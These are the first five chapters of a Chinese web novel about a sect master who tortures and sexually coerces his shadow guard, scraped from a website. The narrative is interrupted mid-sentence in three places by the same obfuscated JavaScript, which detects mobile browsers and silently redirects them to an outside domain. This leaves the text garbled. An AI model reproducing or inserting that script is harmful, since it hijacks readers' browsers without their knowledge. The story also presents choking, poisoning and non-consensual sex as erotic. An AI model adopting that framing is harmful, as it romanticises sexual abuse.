《爆款渣攻,爆改计划》 1. 第1章·心痛 寒月如钩,悬于绝巅。 远山深处,云雾缭绕间隐现一座黑石垒砌的孤阁。 檐角飞翘如剑指天,在月光下泛着森冷幽光。 这便是江湖人闻风丧胆的——剑阁。 “影卫出阁,血雨腥风。” 山底下,茶楼里的说书人压低嗓门,用惊堂木敲着桌面, “那些个孩子啊,打从会走路就开始练剑。七岁见血,十岁杀人,待到及冠之年,早已不知心软二字怎么写喽!” 满座唏嘘。 正如这说书人所言,剑阁的影卫确实不像活人。 他们黑衣劲装,面覆铁甲,行走时连脚步声都不闻。 最可怕的是杀人的眼睛——漆黑瞳孔里既无杀气,也无波澜,就像打磨光滑的玄铁剑身,只映得出将死之人的惨白面容。 十年前,魔教意欲入侵中原,传长生教,吸食长生烟,为武林阻拦,魔教围攻剑阁那夜,百名影卫守武林天门,宁死不退。 从此之后,剑阁一战成名。 此刻,剑阁檐角浸在残月中。 忽有清越玉罄声自最高处飞檐传来,但见一人斜倚青瓦,黑衣猎猎,正举着酒壶对月独酌。 月光勾勒出他凌厉的下颌线,束发的玄色织金发带随风翻飞,腰间那柄玄铁折扇在他指间翻出流光。 分明是杀伐之地的剑阁,偏被他坐出了秦淮画舫的风流意态。 “孤峰高寒,美酒过喉,不过如此。” 他腕间一抖,折扇“唰”地展开。 檐下巡逻的影卫们铁面具下的目光平静,显然是已经习惯了。 在这训练死士的魔窟里,连月光都带着铁锈味,偏这一届阁主把修罗场当成了赏月台。 阁主并不经常喝酒,更何况阁主喝的酒也并非凡酒。 习武之人,喝酒多是为了止痛,就算是剑阁阁主,也难免受伤。 只是如今并无战事,不知阁主为何喝酒,或许是兴致到了。 没错,这在屋檐之上,饮酒作乐之人,正是如今的剑阁阁主,贺邢。 贺邢之父,贺武章,当年是剑阁的创始人,收留许多快要饿死的、无家可归的孩子,作为苗子来培养。 剑阁的影卫可以出售,也可以自留。 贺邢这几年接手了剑阁之后,却懒懒散散,不怎么上心,不怎么接任务,也不怎么出售影卫。 不过看也看得出来,这剑阁压抑的氛围,与他这个人的性格并不合适。 “无趣。” 贺邢忽然轻笑,折扇收拢时“咔”地敲在掌心。 他仰头,饮尽最后半壶梨花白,随手将酒壶抛下。 琉璃碎裂声里,他忽然转头看向某个阴影角落,眉眼间风流尽褪,露出刀锋般的锐利: “看够了就出来。” 下一秒。 一道黑影如墨汁离开夜色,倏然从檐角阴影处分离出来。 那人身形修长似青竹,一袭夜行衣几乎与黑暗融为一体,唯有怀中那柄黑剑在月光下泛着幽蓝光泽。 他无声落地,竟未惊起半粒尘埃。 苍白的面容从阴影中浮现——那是一张年轻却死寂的脸,眼瞳黑得像是永夜,连月光都照不进分毫。 双膝砸在青瓦上,黑衣武者以额触地: “参见主人。” “冒犯主人雅兴,阿影万死。” 夜风凝滞。 贺邢摸了摸心口,俯视着脚边这道黑影,忽然用扇尖挑起对方下颌。 “啧,说来真是奇怪,我今夜一直心口疼,见着你,却突然不疼了。” 贺邢手里的扇子顺着武者脖颈缓缓下滑,最终停在阿影心口。 “你可知道是为何?” 闻言,阿影的睫毛几不可察地颤了颤,跪的更低: “主人恕罪,阿影不知。” 月色中忽起一阵穿堂风,檐角铜铃发出细碎的呜咽。 贺邢的玄铁扇堪堪停在阿影心口处,扇骨末端正抵着对方的肋骨那一块——那是影卫们埋着噬心蛊的位置。 “真不知?” 贺邢忽然俯身。 他笑起来风流肆意,可此刻却在催动着蛊虫。 阿影的呼吸骤然因为痛苦乱了节奏。 心口处的噬心蛊立即作出反应,像被火钳烫过的蛛网般剧烈收缩。 “主…人…饶命…” 阿影的喉间溢出一声破碎的喘息,攥着衣摆的指节绷出青白的弧度。 一滴汗珠顺着鼻尖落下,碎在青瓦上。 “你不要怪我,这事来的蹊跷,我心里疼,很是不快,便要让你更疼。” 贺邢出声,他忽然用扇骨挑起阿影汗湿的下颌,力道大得几乎要戳穿那层苍白的皮肤。 而后变戏法似的从袖中抖出个青瓷瓶,用牙齿咬开瓶塞,将三粒琥珀色药丸倒在扇面上。 “但我是个好主人,也没想让你疼死。” “张嘴吧。” 阿影颤抖着仰起脸,月光照出他痛出冷汗的脸色。 下一秒,扇面一倾,药丸滚落在阿影颤抖的舌尖。 这药丸是噬心蛊的解药,一月一次,这个月差不多也到时候了。 只是,贺邢如今痛了三个时辰,确实是心情不好,自然不会那么好心,只见玄铁扇骨突然狠狠捅进阿影微张的唇间。 贺邢指节一错,玄铁扇骨重重碾过阿影的舌面。 “唔…!” 扇骨冰冷的棱角陷入柔软舌肉,将药丸硬生生碾作粉。 琥珀色的药粉混着被齿尖咬破的血丝,在湿热的口腔里爆开一团腥甜。 阿影的喉结剧烈滚动,却因扇骨抵着舌根而无法吞咽,只能任由那股甜香在齿间弥漫。 贺邢忽然俯身,他手腕灵巧地一转,扇骨便压着那截软舌搅弄起来,像是在研磨什么珍稀药材。 黏腻的水 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满肚子的恶劣心思虽然发泄了一点,可如今,贺邢的心口却又开始疼起来了。 从今日傍晚开始,贺邢心口突然绞痛。 连好酒都不能止痛。 直到刚才见到阿影的一瞬间,那折磨了贺邢三个时辰的钝痛才突然一轻。 如今却又痛起来了。 贺邢的脸色突然变得极其难看。 他修长的手指猛地攥紧胸前的衣襟,骨节泛出青白色。 一缕鲜血从紧咬的唇缝间溢出,顺着下颌滴落在玄色锦袍上,洇开暗色的痕迹。 “主人?!” 见状,阿影顾不得喉间还残留着的不适,连忙膝行着扑到贺邢脚边。 他颤抖的手指虚虚悬在贺邢衣摆上方,想碰又不敢碰的模样,像极了被雨淋湿的弃犬。 “您…您怎么了?” 阿影声音里带着慌乱。 贺邢垂眸看他时,瞳孔已经有些涣散。 月光照出他额角细密的冷汗,将那张总是带着玩味笑意的脸镀上一层冷光。 贺邢忽然伸手掐住阿影的后颈,心痛难忍,力道大得几乎要捏碎骨头。 “你到底是个什么?身体有异,也就罢了,如今难道……还有这等邪术?” 喘息声里混着怒气,贺邢却突然痛极了,将额头抵在阿影肩上。 这个罕见的亲近姿态让阿影浑身僵住,连呼吸都停滞了。 夜风卷着掠过檐角,阿影小心翼翼地抬起手臂,却在即将扶住主人的瞬间被狠狠推开。 下一秒,阿影垂眸。 他知道自己身体有缺陷,他知道自己是个怪物,但他从没有想过,会在自己如今的主人面前暴露这个秘密。 阴阳体,两形人。 就是个怪物。 怪不得会被主人推开。 2. 第2章·良心 夜半,剑阁主楼。 药浴池中雾气氤氲,浓郁的药香混着热息蒸腾而上。 贺邢靠在池边,黑发湿漉漉地贴在苍白的颈侧,眉间紧蹙,唇色泛着不自然的淡。 他闭着眼,可心口的疼痛却一刻未歇,像是有人攥着他的心脉,一寸寸收紧。 热水浸透肉骨,本该舒缓经络,可那痛意却如附骨之疽,连药浴也压不住。 见鬼,真是见鬼了。 池边烛火摇曳,映得水面浮动的药渣如血丝般游弋。 贺邢忽然抬手按住心口,指节因用力而泛白,喉间溢出一声极低的闷哼。 ——这痛,来得毫无缘由,莫名其妙,医师看过了,也诊不出个所以然来。 贺邢只能运功止痛。 …… 药池中的水早已凉透,雾气散尽,只剩一层浮沫般的药渣黏在池壁。 只见贺邢仰靠在池边,唇色苍白如纸,额间冷汗涔涔,指尖无力地垂落水中,激起细微的涟漪。 心口的疼痛如潮水般翻涌,一波比一波剧烈,像是有人用钝刀生生剜着他的心脉。 他想要睁眼,可眼皮却沉重如山,意识在剧痛中不断下坠,最终陷入一片混沌的黑暗。 ——恍惚间,他站在了一片白茫茫的雾里。 四周空茫无际,没有天,没有地,只有绵延不绝的云雾,如轻纱般缠绕在他周身。 贺邢低头看了看自己的手,五指清晰,却仿佛不属于自己,触感遥远而模糊。 “这是……哪里?” 他下意识地迈步向前,足下没有实感,像是踩在云端。 雾气随着人的走动缓缓流动,隐约间,似有低语声从远处传来,却又听不真切。 贺邢皱了皱眉,继续往前走。 ——直到,雾气深处,渐渐浮现出一点点模糊的颜色。 贺邢蹙眉, 继续向前。 那模糊的影子逐渐清晰,竟是一方静默的水池。 池水澄澈至极,仿佛一面剔透的琉璃,映不出天,照不出地,唯有水底静静横卧着一把长剑。 剑身漆黑如夜,刃口处却凝着一线寒光,似蛰伏的凶兽微微睁开的眼。 贺邢的呼吸蓦地一滞。 ——是‘夜哭’。 阿影的剑。 神思有些不清楚,贺邢下意识的俯身弯腰去拿剑,指尖几乎要触到剑柄。 忽然,一道暗红的血线自剑锋蜿蜒而出。 起初只是一缕,如游蛇般在水中扩散,可转瞬间,那血便如活物般翻涌而起! 整把‘夜哭’剧烈震颤,仿佛当真是因为疼痛而颤抖。 “滴答。” 一滴血珠从空中落下,溅到了水池,溅上贺邢的指尖。 ——刹那间,血浪滔天! 血池翻涌,猩红的水面骤然浮现出无数破碎的画面: 阿影赤着上身跪在刑堂铁棘丛中,鞭痕纵横的后背渗着血珠; 阿影蜷缩在柴房角落,颤抖的手指挖出药膏涂抹自己撕裂的虎口; 阿影独自坐在月光下,指尖轻轻抚过微微隆起的小腹,眉目是从未示人的柔软…… 最后一道血浪荡开,这血池之中,最后一个画面,是阿影死无全尸,鲜血把‘夜哭’都染红了。 贺邢猛地后退一步,若有所觉,他倏然抬头。 半空中, 悬浮着一颗剔透的琉璃心。 那心魄赤红如焰,内里流淌着鎏金色的光晕,像是封存了谁的心血。 它无声地搏动着,每一下收缩舒展,将周围的血雾映得瑰丽而诡谲。 纵使是见多识广,贺邢还是愣住了。 这是个什么东西? 贺邢莫名其妙并不排斥这个诡异的东西。 就好像他和这东西就是一体的,没有任何排异。 那颗琉璃心忽然轻轻一颤,在虚空中荡开涟漪般的回响: “你爱阿影吗?” 没想到这颗琉璃心还会说话,贺邢瞳孔微缩,随即扯出一抹讥诮的冷笑: “爱?一个影卫罢了。” 说实话,贺邢以前确实不觉得阿影有什么特别的。 直到三日前。 那场鸿门宴,贺邢指尖刚沾到酒杯就觉出不对——“醉仙欢”,江湖最下作的情毒,竟有人敢用在剑阁阁主身上。 他捏碎酒杯离席时,只来得及对暗处的阿影比个手势。 后来发生的事,贺邢记忆很模糊。 只记得柴房里,阿影苍白的指尖死死攥着稻草,束发的带子早不知丢去哪了。 汗湿的黑发黏在颈侧,原本吹毛断刃的利剑居然如此可怜。 贺邢药性发作得狠,把人折腾得狠了,直到黎明时分才看清,阿影腿间染血的亵裤下,竟藏着…… 阿影居然是个两形人。 本来,若是论尊卑规矩,应该把阿影那日爬上床的冒犯拎出来好好的惩罚、说教一顿。 但是,贺邢本就是玩心很盛的性格,如此好玩的玩具在身边,自然要物尽其用。 这几日,贺邢对阿影的狎弄近乎恶劣。 他会在议事厅众目睽睽之下,用扇骨挑起阿影的下巴,调笑一番才肯放人;也会在夜半将人召来寝殿,百般的手段都往上弄,全然一副刚开了荤的兴致勃勃。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16433907|184924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 阿影始终逆来顺受、温顺、服帖。 想想也当然,毕竟剑阁的规矩刻在骨血里。 阁主要影卫死,影卫就得自己把刀递进心口;如今不过是作玩物逗弄,又算得了什么? 或许是看出来了贺邢的漫不经心,琉璃心顿了顿。 “哪怕他为你死无全尸?” 贺邢说:“江湖人,刀口舔血,生死已然是常事。” 那琉璃心似乎觉得贺邢很是冥顽不灵,它道: “你可知,你今日为何心痛?” 贺邢微微皱眉:“何意?你到底是个什么东西,你又知道什么?” 它幽幽地说: “我是什么东西并不重要。” “今日你如此心痛,无非是因为亏待阿影,良心痛而已。” “你如今不改,只怕以后悔恨。” 贺邢心里思索一番,不言。 它又说: “我言尽于此。” “你且回去罢。” 一瞬间,白雾弥漫。 …… 贺邢猛然睁眼。 药浴池中的水早已凉透,浮沫般的药渣凝结在池壁。檐外更漏显示子时已过——他在浴池里昏睡了整整半个时辰。 “……” 贺邢下意识按住心口。 那折磨他的绞痛,此刻竟消失得无影无踪,仿佛从未存在过。 突然意识到了什么,贺邢转头,果不其然,看到了阿影正跪在青玉门槛外,双手高擎着雪白的浴巾与墨色锦袍。 见贺邢看过来,阿影连忙膝行过来,在青玉地上拖出两道湿痕。 贺邢现在一看到他就觉得心口幻痛:“……来做什么?” 阿影低头,未曾束发,墨发散下: “主人那日有言,阿影需日日洗净,前来侍寝,直到主人厌倦为止。” 闻言,贺邢回忆了一下,他好像确实这么说过。 现在药浴也已经凉了,贺邢自然不喜待在这里。 “哗啦——” 贺邢蓦然从药浴中起身,冰凉的水珠乱洒。 他长腿一跨迈出浴池,在青玉砖上踏出潮湿的足印,水痕踩至阿影跟前。 阿影的睫毛几不可察地颤了颤。 贺邢伸手抽走那条雪色浴巾时,指尖故意擦过阿影虎口。 把浴巾随意往腰间一系,一点点水珠仍不断从不小心被浸湿了发尾滴落,贺邢一低头,水珠就在阿影低垂的脖颈上溅开细小的水花。 “别傻愣着。” 贺邢用脚踢了踢阿影的膝盖, “怎么这么没眼力劲了,过来伺候我穿衣。” 3. 第3章·恶劣 墨色浸透天穹,剑阁主楼如孤峰矗立。 顶楼轩窗透出暖黄烛火,将两道交叠的身影拓在云纹窗纱上 ——一道挺拔如松的身影将另一道清瘦身影抵在窗前,后者被迫折腰的弧度如同新月。 夜风掠过檐角铜铃时,捎走几缕细碎呜咽。 那声响似痛饮欢,刚溢出窗棂便被碾碎在更漏声里,唯余烛影摇晃着。 “主…主人…” 破碎声溢出齿关,又被突然加重的力道碾碎成零落之音。 室内点了宫灯。 八盏鎏金宫灯悬于穹顶,将内室照得亮如白昼。 南墙有一面极宽的黄铜镜,清晰地映着两道身影。 极其敞亮的灯光之中,阿影的手腕被一发带勒得发红,他原本束起的长发早已散乱。 鸦羽般的长发散乱垂落,几缕湿发黏在泛红的眼尾,半掩着嘴角渗出的血丝。 他脸颊上还留着鲜明的指痕,像是谁用朱砂在白玉上勾勒的残梅。 可以看出是明显的指纹。 武者的身体微微前倾,胸膛起伏不定,眼神隐藏在黑暗之中,看不太清楚。 身上的衣衫不知道被谁暴力扯破了,露出几处满是伤疤的苍白肌肤。 那些伤痕新旧交错,全部是九死一生的训练与任务之中所得,显得格外触目惊心。 然而,即便在这样的狼狈中,这男人身上依旧散发出一股凌厉的、破碎的、暴虐的美感。 昏黄镜面里,阿影喘息时绷紧的背肌如弓弦般颤动。 垂落的碎发在眼下投出阴翳,却遮不住眼中那簇幽暗的火光。像柄被血浸透的残剑,刃口崩裂却寒芒未减,反而透出种令人战栗的、濒临破碎的锋利。 总觉得就应该让人把持、折断。 所以说,贺邢醉心于区区一个影卫,也不是没有道理的。 只见贺邢骨节分明的手指骤然收紧,将阿影被缚的腕子狠狠按在铜镜上。 “呃!” “咚”的一声闷响,阿影泛着潮红的脸颊贴上冰凉的镜面,呵出的白雾在黄铜表面晕开一片朦胧。 鼻尖掠过阿影的后颈,贺邢忽然埋首在阿影后颈的软肉上。 影卫肌肤上萦绕着奇异的冷香,铁锈味的血腥里缠香的苦涩,底下还藏着缕缕的药气。 “主……主人?” 阿影的喉结剧烈滚动,猛的吞了口口水。 镜中忽然映出贺邢幽深的眼瞳,“阿影,你能怀孕吗?你不会有怀孕的本事吧 ?” “哐当——” 闻言,阿影浑身剧颤,膝弯撞上镜面。 若不是被贺邢扣着腰肢,此刻早已跪伏在地。 堂堂一个武者,他抖得像是秋风里的残叶,喉结在紧绷的颈线上滚动,冷汗顺着脊椎没入腰窝: “阿影、阿影万万不敢!” 尾音生生折断在骤然收紧的臂弯里。 铜镜里,映出阿影骤然睁大的瞳孔,那里头盛着的,不知是惊惧,还是别的什么。 见阿影惊惶,贺邢忽地觉得心情不错,低笑出声,指尖抚过阿影绷紧的下颌。 “怕什么,我不过是随口一问罢了。” 铜镜里映出影卫仓皇躲闪的眸光,像被火燎到的夜蝶,连颤动的睫毛都凝着细碎水光。 拇指碾上那瓣红肿的唇,贺邢饶有兴味地欣赏指腹下细微的战栗,突然掐着下巴迫他抬头: “不是跟你说要好好看镜子吗?怎么敢移开眼神。” 闻言,阿影喉结滚动着仰起脸,乖顺地启唇。 一滴汗正沿着他脖颈滑落,在锁骨凹陷处积成小小的水洼。 铜镜中,他涣散的瞳孔渐渐失焦,仿佛这样就能逃离镜中那窘迫情景。 “这才对。” 贺邢突然咬住他耳尖轻笑,满意地看着那片肌肤泛起薄红。 说起来,贺邢生就一副反骨,天生便是个离经叛道的性子。 剑阁上下皆知,这位阁主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16433908|184924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行事向来肆意妄为,偏生又武功盖世,叫那些恨得牙痒的仇家也只能暗自磨刀。 他尤其爱捉弄阿影。 就像顽童撕扯蝶翼般,非要看着阿影那向来沉静的面容露出破碎的神情才满意。 “主、呃!” 阿影窒息地眨了眨眼睛,脖子一下子就被掐住了。 “啧。” 一边握住了阿影的脖子,贺邢一边漫不经心地想,这影卫分明寡淡得像杯白水,既不会讨巧卖乖,也不懂曲意逢迎。 可偏偏就是让人忍不住想将他按在铜镜前,看他眼尾泛起薄红的样子。 就像现在,阿影被绸带缚住的手腕已经泛起淤痕,却仍固执地抿着唇。 贺邢忽然恶劣,如愿听到一声压抑的闷哼。 真是的,贺邢自己也说不清,为何独独对这块木头这般上心。 贺邢自己说不清楚,但是他是一个很遵循本能的人。 指节一寸寸收紧,贺邢像把玩一件精致的凶器,阿影被迫仰起脖颈,喉骨在主人掌中发出细微的颤音。 “呃——呃——” 窒息的眩晕感潮水般涌来,影卫的眼尾泛起濒死的艳红,泪水在眼眶里凝成破碎的琉璃。 “主人、饶命……” 这声气音般的哀求取悦了恶主。 贺邢这才施舍般松开些许力道,却在阿影本能吸气时骤然俯身,将带着血腥味的空气渡进他口中。 唇齿交缠间,贺邢满意地尝到阿影那截柔软的舌尖。 真是个恶劣的游戏。 武者最致命的命门被玩弄于股掌,连每一次呼吸都成了恩赐。 偏偏贺邢还要故意问阿影: “喂,什么表情,反应那么大,有这么喜欢吗?” 阿影答不上来了。 影卫绷紧的腰在颤抖,却仍乖顺地仰着脸,任由主人将这场酷刑化作缠绵。 铜镜里,他涣散的瞳孔倒映着贺邢戏谑的眼神,像坠入蛛网的蝶。 4. 第4章·占有 然而,下一秒, 贺邢唇边的笑意骤然凝固。 “嘶!” 心口毫无征兆地炸开剧痛,仿佛有千根银针顺着血脉扎进心脏。 实在是猝不及防的疼痛,他膝弯一软,膝盖撞到了阿影的膝盖,直接把阿影也一起带跪了下去。 两人双双跪在铜镜前。 镜中烛火都晃了三晃。 “主上!” 阿影顾不得被撞红的膝盖,慌忙转身扶住摇摇欲坠的贺邢。 却见素来嚣张的阁主此刻面色惨白,额角沁出的冷汗将鬓发都浸得透湿。 “你,给我、过来……” 贺邢从牙缝里挤出这两个字时,指尖已经掐进了自己的掌心。 阿影僵在原地,沾着泪痕的长睫无助地颤动,他分明已经扶着主人,还要怎样“过来”? 这个茫然的姿态彻底点燃了贺邢的怒火。 他猛地将人拽进怀里,“刺啦”一声扯断那根束缚阿影多时的发带。 在阿影惊愕的目光中,贺邢竟低头吻上他腕间淤痕,唇瓣擦过红肿的皮肤时,喉间溢出痛楚的喘息: “你这…蠢货妖物……” 贺邢的唇瓣在淤痕上游移,灼热的吐息烫得阿影腕间肌肤阵阵战栗。 “嗬——” 他□□,每一次呼吸都带着隐忍的痛楚,像是要把心口翻涌的绞痛通过这个动作尽数宣泄。 “!” 阿影整个人都僵住了。 阁主素来凌厉俊美的眉眼此刻近在咫尺,长睫投下的阴影里藏着几分罕见的脆弱。 温软的唇蹭过敏感的手腕内侧时,阿影耳尖瞬间红得滴血,连脖颈都漫上一层薄粉。 铜镜里映出这荒诞的一幕: 不可一世的剑阁之主正跪在地上,亲吻影卫腕间伤痕; 而本该最擅长隐匿情绪的暗卫,此刻却连指尖都在发抖,活像只被猛兽的含羞草。 阿影散落的发丝间,露出一截泛红的耳尖,被亲吻的手腕还虚虚悬在身前,像是不知道该如何安放。 剧痛如潮水般缓缓退去,贺邢的喘息却仍未平息。 他背靠着冰凉的铜镜,怀中紧箍着颤抖的阿影,指节还无意识地陷在对方腰间的软肉里。 “你——” 贺邢忽然掐住阿影下巴,眼底翻涌着暴戾的疑云, “莫不是修了什么邪术?还是说你是什么妖物所变?” 他拇指重重碾过阿影那两片瞬间变得苍白的唇瓣。 “属下不敢!” 阿影浑身一颤,竟挣开贺邢扑跪在地。 额头抵上冰冷地面的刹那,他后腰的棘刺纹身完全暴露在灯光下——那是剑阁死士的烙印,此刻却因主人一句质问而显得格外刺目。 铜镜映出阿影痉挛的指节正死死揪住贺邢的衣摆,像溺水之人抓着最后一根浮木: “求主人——” 阿影喉结滚动着咽下苦楚, “主人,阿影不是,阿影不是妖物,求主人不要丢弃阿影……” 贺邢却盯着阿影,忽然想起三日前柴房里,这人也是用这般姿态,忍着剧痛承欢。 当时月光照亮的腰线上,也有这道烙印。 若说阿影有异心,贺邢只会嗤笑一声。 他不相信阿影会背叛、陷害他。 但这事实在是太过蹊跷,又是心痛,又是幻觉,对阿影好就不会心痛,对阿影但凡恶劣一点,心疼得都要搅碎了。 贺邢突然烦躁地闭了闭眼。 他撑着铜镜站起身,目光扫过阿影低垂的眉眼: “没兴致了。” 他声音里还带着未褪尽的痛楚余韵,“去取我的衣裳——” 话到一半又生生转了个弯,“——算了,用不着你,我自己来。” 阿影的膝盖刚离开地面半寸,闻言又无声地落回原处,眼里露出几分无措的茫然。 他看向铜镜里,阁主的背影罕见地显出几分狼狈。 只见贺邢快步走向衣架的途中,不自觉地按了按心口,那里还残留着幻痛,仿佛在警告他: 若再对那影卫说半句重话,便要教他再尝一回肝肠寸断的滋味。 阿影到底是不是妖物? 他当真还要把阿影留在身边吗? 不过这个问题并没有困扰贺邢很久,贺邢系好最后一根衣带转身时,铜镜前,阿影那道身影仍跪得笔直。 烛光在阿影赤裸的脊背上切割出斑驳的光痕——那些新旧交错的伤疤在冷光下宛如一幅残酷的山水图。 影卫,身上自然都是伤痕。 有什么好可怜的? 别说是阿影了,就连贺邢身上,也全是习武的伤。 所以有什么好可怜的? 贺邢深吸一口气,嘴角扯出个生硬的笑。 他朝影卫伸出手,指尖在虚空中勾了勾,连自己都没察觉放柔了嗓音:“过来。” “今夜洗漱完便就寝吧。” 闻言,阿影的肩膀几不可察地颤了颤。他迟疑地仰起脸,湿润的眸子在烛火下泛着琥珀色的光,像是不能理解这突如其来的温柔。 直到贺邢走过来,指尖捏了捏他的后颈,阿影才如梦初醒般膝行两步——却又在即将碰到主人衣角时蓦然停住,不敢弄脏主人换好的新衣服。 阿影连忙道:“是。” 随后起身,跟着贺邢去洗漱,他们做之前要洗一次,做之后自然还要洗一次。 这次,阿影被贺邢拉下水,诚惶诚恐的跟着主人一起洗澡。 浴池里蒸腾着药物的气息。 贺邢先一步踏入水中,回头却见阿影僵在池边,沾着的东西在腿上若隐若现。 “磨蹭什么?” 贺邢突然伸手拽住他脚踝。 “哗啦——” 阿影猝不及防跌进池中,溅起的水花打湿了贺邢的眉睫。 两人发丝在水中纠缠成墨色的网,阿影慌乱中抓到贺邢的臂膀,又像被烫到般急忙松开。 “主、主人恕罪!” 刚才做的实在是厉害,阿影声音哑得不成样子,脖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16433909|184924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颈到胸口浮着一层薄红。 这么不经意间一看,贺邢忽然发现,阿影这具布满伤痕的身体在热水中竟透出几分玉色的光泽, 那些常年隐在黑衣下的陈年旧伤,此刻,像极了釉下彩的冰裂纹。 似玉有痕。 氤氲的水雾在两人之间织就一层朦胧的纱,贺邢的手悬在半空,最终却轻轻落在了阿影湿漉漉的发顶。 “主人?” 阿影仰起脸,常年凌厉、沉默的眼此刻被水汽浸得柔软,睫毛上挂着细小的水珠,随着眨动一闪一闪的。 贺邢的指尖无意识地卷起阿影的一缕湿发,看着这个平日杀伐果决的影卫,此刻竟像只被驯服的猛禽般温顺。 水波荡漾间,阿影的旧伤若隐若现,满身的疤痕在雾气中显得格外刺目。 几乎快找不出一块好肉了。 所以贺邢也不明白,要是论样貌,论身娇体软、肤如凝脂,这天底下比阿影好的人可多了去了。 他不是不明白自己为什么会对阿影感兴趣,揉折一把好剑,自然可以激起人的施虐欲。 所以贺邢只是不明白,自己这个兴趣持续的时间也太久了。 不就一个影卫,不过是一个影卫而已。 突然间又想起那个梦,那个幻觉,那个莫名其妙的琉璃心, 贺邢忽然觉得,此刻的阿影就像这雾气一般,明明近在咫尺,却仿佛随时都会消散。 “别动。” 贺邢的声音不自觉地放轻,手指穿过阿影的发丝,动作轻柔得不像话。 阿影怔怔地望着他,眼中的默然渐渐化开,露出几分难得的懵懂与依赖。 事实上,阿影本以为阁主会接着提起所谓“妖物”的话题。 生有异样,本就是与常人有益,被认作妖物也无可厚非。 阿影本以为主人会赶自己走,但是,直到两人相拥而眠,贺邢都没有再提起这个话题。 洗完澡,贺邢带着阿影去床上睡觉了。 就连贺邢自己都未察觉这个动作有多特殊——剑阁之主素来独卧九尺榻,这几日却亲手将一个影卫裹进了自己的领地。 躺在主人的被窝里,阿影僵着身子不敢动弹。 他连着睡了几天,还是没有习惯。 但是贺邢可不管他到底有没有习惯,阁主长臂一揽,便将人严严实实扣在怀中,下颌抵着阿影发顶。 这个动作占有欲极强,贺邢是刀口舔血之人,也是江湖中人,他谁都不愿意相信,却愿意和阿影睡一个被窝。 ——哪怕他刚才还在质疑,阿影到底是不是个妖物、邪物。 “睡。” 来自主人的命令砸在帐中。 “是。” 阿影眨了眨眼睛,应了一声。 下一秒,贺邢的手却诚实地箍紧了那段细腰。 窗外巡夜的守卫举着火把走过,光影透过纱帐,在交叠的身影上流淌。 贺邢无意识地摩挲着阿影的后颈,那里还残留着药浴的苦香,混着温暖的体温,竟成了最好的安神香。 5. 第5章·所爱 被贺邢禁锢在怀中入睡,阿影始终无法习惯,毕竟这才第三天,如此盛宠,阿影很是惶恐。 他这两天总在夜半惊醒,借着月光凝视贺邢近在咫尺的睡颜——阁主的眉宇在沉睡时会舒展几分,倒与十五岁那年的模样重叠起来。 贺邢的十五岁,是刚刚学成归来,意气风发。 阿影的十五岁,是无数的任务和苦难,满是风雪。 阿影清楚,贺邢心里住着个人。 ——旭公子。 那年冬日雪未消尽,剑阁上下已为旭公子的到来忙碌起来。 老阁主亲自吩咐在听雪轩多添三盆银丝炭,据说那位旭小公子先天不足,格外体弱多病,受不得寒。 所以,听雪轩也被大家戏称为暖阁。 某日,阿影在回廊下擦拭剑架时,曾窥见过这对少年并肩的身影。 十五岁的贺邢束着鎏金发冠,已然是俊秀非凡,眉目俊朗,一身玄色大氅,扫过阶前残雪, 而十五岁的旭公子裹着雪白的狐裘站在他身侧,苍白的指尖攥着贺邢的袖角,咳嗽时整个人都在发抖,眼里流露着谁都能看出来的爱慕。 “邢哥哥——” 这声轻唤隔着风雪飘来,阿影看见自家少主冷脸,却没有走开,依旧站在那里。 旭公子对于剑阁来说确实是贵客,旭公子的父亲正是老阁主的结拜兄弟。 而贺邢的师傅,正是旭公子的父亲。 听说两家之间原本定了娃娃亲,没想到生出来的是两个男孩。 但是,阿影撞见过旭公子夜会少阁主,他们甚至还在夜色之中亲吻。 阿影只看了一眼,就不敢再看,匆忙离开。 事实上,阿影的生活很平静,但是转折来得猝不及防。 那时,阿影握着竹帚,奉命替旭公子扫去院前的积雪。 突然,廊下暖阁的雕花窗忽然洞开,旭公子那张与阿影三分相似的脸正隔着风雪望来。 “这是哪来的贱奴!” 旭公子白玉般的面庞骤然扭曲,手中药盏“啪”地砸在窗棂上。 阿影永远记得那双与自己如出一辙的凤眼里,翻涌着怎样刻骨的嫌恶。 当夜他就被按在雪地里。 执刑的侍卫说,这是贵人的意思——“既然生着这样的脸,就该付出代价”。 少年阿影不懂,为何一张相似的脸,在贵人身上是金尊玉贵,在自己身上就成了僭越的死罪。 冰碴子混着血水黏在睫毛上时,阿影被按在雪里揍了一顿,又被命令跪在那里。 第三日正午,雪停了,但寒意更甚。 阿影跪在雪地里的身影已经摇摇欲坠,干裂的嘴唇泛着青紫,睫毛上凝结的冰晶在阳光下闪着细碎的光。 路过的仆役们窃窃私语,有人摇头叹息,有人幸灾乐祸地指指点点。 